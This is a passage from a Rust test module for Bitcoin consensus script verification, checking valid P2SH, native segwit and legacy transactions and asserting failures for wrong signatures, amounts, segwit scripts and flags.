blockchain using P2SH 176 | verify_test ( 177 | "a91434c06f8c87e355e123bdc6dda4ffabc64b6989ef87", 178 | "01000000000101d9fd94d0ff0026d307c994d0003180a5f248146efb6371d040c5973f5f66d9df0400000017160014b31b31a6cb654cfab3c50567bcf124f48a0beaecffffffff012cbd1c000000000017a914233b74bf0823fa58bbbd26dfc3bb4ae715547167870247304402206f60569cac136c114a58aedd80f6fa1c51b49093e7af883e605c212bdafcd8d202200e91a55f408a021ad2631bc29a67bd6915b2d7e9ef0265627eabd7f7234455f6012103e7e802f50344303c76d12c089c8724c1b230e3b745693bbe16aad536293d15e300000000", 179 | 1900000, 0 180 | ).unwrap(); 181 | 182 | // a random segwit transaction from the blockchain using native segwit 183 | verify_test( 184 | "0020701a8d401c84fb13e6baf169d59684e17abd9fa216c8cc5b9fc63d622ff8c58d", 185 | "010000000001011f97548fbbe7a0db7588a66e18d803d0089315aa7d4cc28360b6ec50ef36718a0100000000ffffffff02df1776000000000017a9146c002a686959067f4866b8fb493ad7970290ab728757d29f0000000000220020701a8d401c84fb13e6baf169d59684e17abd9fa216c8cc5b9fc63d622ff8c58d04004730440220565d170eed95ff95027a69b313758450ba84a01224e1f7f130dda46e94d13f8602207bdd20e307f062594022f12ed5017bbf4a055a06aea91c10110a0e3bb23117fc014730440220647d2dc5b15f60bc37dc42618a370b2a1490293f9e5c8464f53ec4fe1dfe067302203598773895b4b16d37485cbe21b337f4e4b650739880098c592553add7dd4355016952210375e00eb72e29da82b89367947f29ef34afb75e8654f6ea368e0acdfd92976b7c2103a1b26313f430c4b15bb1fdce663207659d8cac749a0e53d70eff01874496feff2103c96d495bfdd5ba4145e3e046fee45e84a8a48ad05bd8dbb395c011a32cf9f88053ae00000000", 186 | 18393430 , 0 187 | ).unwrap(); 188 | 189 | // a random old-style transaction from the blockchain - WITH WRONG SIGNATURE for the address 190 | assert!(verify_test ( 191 | "76a9144bfbaf6afb76cc5771bc6404810d1cc041a6933988ff", 192 | "02000000013f7cebd65c27431a90bba7f796914fe8cc2ddfc3f2cbd6f7e5f2fc854534da95000000006b483045022100de1ac3bcdfb0332207c4a91f3832bd2c2915840165f876ab47c5f8996b971c3602201c6c053d750fadde599e6f5c4e1963df0f01fc0d97815e8157e3d59fe09ca30d012103699b464d1d8bc9e47d4fb1cdaa89a1c5783d68363c4dbc4b524ed3d857148617feffffff02836d3c01000000001976a914fc25d6d5c94003bf5b0c7b640a248e2c637fcfb088ac7ada8202000000001976a914fbed3d9b11183209a57999d54d59f67c019e756c88ac6acb0700", 193 | 0, 0 194 | ).is_err()); 195 | 196 | // a random segwit transaction from the blockchain using P2SH - WITH WRONG AMOUNT 197 | assert!(verify_test ( 198 | "a91434c06f8c87e355e123bdc6dda4ffabc64b6989ef87", 199 | "01000000000101d9fd94d0ff0026d307c994d0003180a5f248146efb6371d040c5973f5f66d9df0400000017160014b31b31a6cb654cfab3c50567bcf124f48a0beaecffffffff012cbd1c000000000017a914233b74bf0823fa58bbbd26dfc3bb4ae715547167870247304402206f60569cac136c114a58aedd80f6fa1c51b49093e7af883e605c212bdafcd8d202200e91a55f408a021ad2631bc29a67bd6915b2d7e9ef0265627eabd7f7234455f6012103e7e802f50344303c76d12c089c8724c1b230e3b745693bbe16aad536293d15e300000000", 200 | 900000, 0).is_err()); 201 | 202 | // a random segwit transaction from the blockchain using native segwit - WITH WRONG SEGWIT 203 | assert!(verify_test( 204 | "0020701a8d401c84fb13e6baf169d59684e17abd9fa216c8cc5b9fc63d622ff8c58f", 205 | "010000000001011f97548fbbe7a0db7588a66e18d803d0089315aa7d4cc28360b6ec50ef36718a0100000000ffffffff02df1776000000000017a9146c002a686959067f4866b8fb493ad7970290ab728757d29f0000000000220020701a8d401c84fb13e6baf169d59684e17abd9fa216c8cc5b9fc63d622ff8c58d04004730440220565d170eed95ff95027a69b313758450ba84a01224e1f7f130dda46e94d13f8602207bdd20e307f062594022f12ed5017bbf4a055a06aea91c10110a0e3bb23117fc014730440220647d2dc5b15f60bc37dc42618a370b2a1490293f9e5c8464f53ec4fe1dfe067302203598773895b4b16d37485cbe21b337f4e4b650739880098c592553add7dd4355016952210375e00eb72e29da82b89367947f29ef34afb75e8654f6ea368e0acdfd92976b7c2103a1b26313f430c4b15bb1fdce663207659d8cac749a0e53d70eff01874496feff2103c96d495bfdd5ba4145e3e046fee45e84a8a48ad05bd8dbb395c011a32cf9f88053ae00000000", 206 | 18393430 , 0 207 | ).is_err()); 208 | 209 | } 210 | 211 | fn verify_test (spent : &str, spending :&str, amount :u64, input: usize) -> Result<(),Error> { 212 | verify (spent.from_hex().unwrap().as_slice(), amount, spending.from_hex().unwrap().as_slice(), input) 213 | } 214 | 215 | #[test] 216 | fn invalid_flags_test() { 217 | verify_with_flags(&[], 0, &[], 0, VERIFY_ALL + 1).unwrap_err(); 218 | } 219 | } 220 | -------------------------------------------------------------------------------- /version: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/rust-bitcoinconsensus-Google-Colab/0589c69eaa3fb4266b12446aad710781fee7ba1c/version --------------------------------------------------------------------------------